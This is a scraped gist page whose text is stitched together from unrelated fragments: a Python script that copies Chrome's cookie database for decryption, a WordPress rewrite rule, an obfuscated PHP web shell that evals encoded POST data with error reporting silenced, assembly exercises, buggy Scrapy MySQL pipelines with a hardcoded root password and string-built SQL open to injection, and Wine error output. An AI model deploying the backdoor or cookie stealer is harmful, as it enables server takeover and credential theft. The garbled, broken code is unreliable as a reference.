Skip to content

Instantly share code, notes, and snippets.

@newbiethetest
newbiethetest / decryptchromecookies.py
Created September 4, 2018 01:13 — forked from DakuTree/decryptchromecookies.py
Decrypt Chrome Cookies File (Python 3) - Windows
#Based off https://gist.github.com/DakuTree/98c8362fb424351b803e & pieces of https://gist.github.com/jordan-wright/5770442
from os import getenv
from shutil import copyfile
import sqlite3
import win32crypt #https://sourceforge.net/projects/pywin32/
# Copy Cookies to current folder
copyfile(getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Cookies", './Cookies')
# Connect to the Database
function custom_rewrite_basic() {
global $wp_rewrite;
add_rewrite_rule('^leaf/([0-9]+)/?', 'index.php?page_id=$matches[1]', 'top');
$wp_rewrite->flush_rules();
}
add_action('init', 'custom_rewrite_basic');
<?php
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary')
{ $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a');
@flock($fp, LOCK_EX);
@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");
DATAS segment
X DB '12345+67890=$'
y db 6 dup(?)
DATAS ENDS
CODES SEGMENT
ASSUME CS:CODES,DS:DATAS
START:
MOV AX,DATAS
class MysqlStordPipeline(object):
def __init__(self):
self.connect=MySQLdb.connect('localhost','root','123654','niaoyundb',charset='utf8', use_unicode=False)
self.cursors=self.connect.cursor()
def process_item(self,item,spider):
try:
#self.cursors.execute("select version()")
sql=''' INSERT INTO `niaoyunTable` (title, href) VALUES ("%s", "%s")'''%(item['title'],item['href'])
self.cursors.execute(sql)
def process_item(self,item,spider):
try:
#self.cursors.execute("select version()")
self.cursors.execute('''INSERT INTO `niaoyunTable` (title, href)
VALUES (%s, %s)'''%(item['title'],item['href']))
self.connect.commit()
class MysqlStordPipeline(object):
def __int__(self):
self.connect=MySQLdb.connect('localhost','root','123654','niaoyundb',charset='utf8', use_unicode=True)
self.cursors=self.connect.cursor()
def process_item(self,item,spider):
try:
self.cursors.execute("select version()")
except MySQLdb.Error,e:
print "Error %d: %s" % (e.args[0], e.args[1])
return item
class MysqlStordPipeline(object):
def __int__(self):
self.connect=MySQLdb.connect('root','123654','niaoyundb','localhost',charset="utf8", use_unicode=True)
self.cursor=self.connect.cursor()
def process_item(self,item,spider):
try:
self.cursor.execute("""INSERT INTO niaoyunTable (title, href)
VALUES (%s, %s)""",
assume cs:code
code segment
mov ax, 2
mov cx, 9
s: add ax, ax
loop s
mov ax, 4c00H
int 21H
code ends
end
root@li:~# /home/tools/che.exe
fixme:dwmapi:DwmSetWindowAttribute (0x10068, 2, 0x32f504, 4) stub
fixme:font:freetype_GdiRealizationInfo (0x127430, 0x32eec4): stub!
fixme:font:freetype_GdiRealizationInfo (0x127430, 0x32eee0): stub!
fixme:font:freetype_GdiRealizationInfo (0x127430, 0x32eed0): stub!
fixme:font:freetype_GdiRealizationInfo (0x127430, 0x32eee0): stub!
err:ole:CoGetClassObject class {00000535-0000-0010-8000-00aa006d2ea4} not registered
err:ole:CoGetClassObject class {00000535-0000-0010-8000-00aa006d2ea4} not registered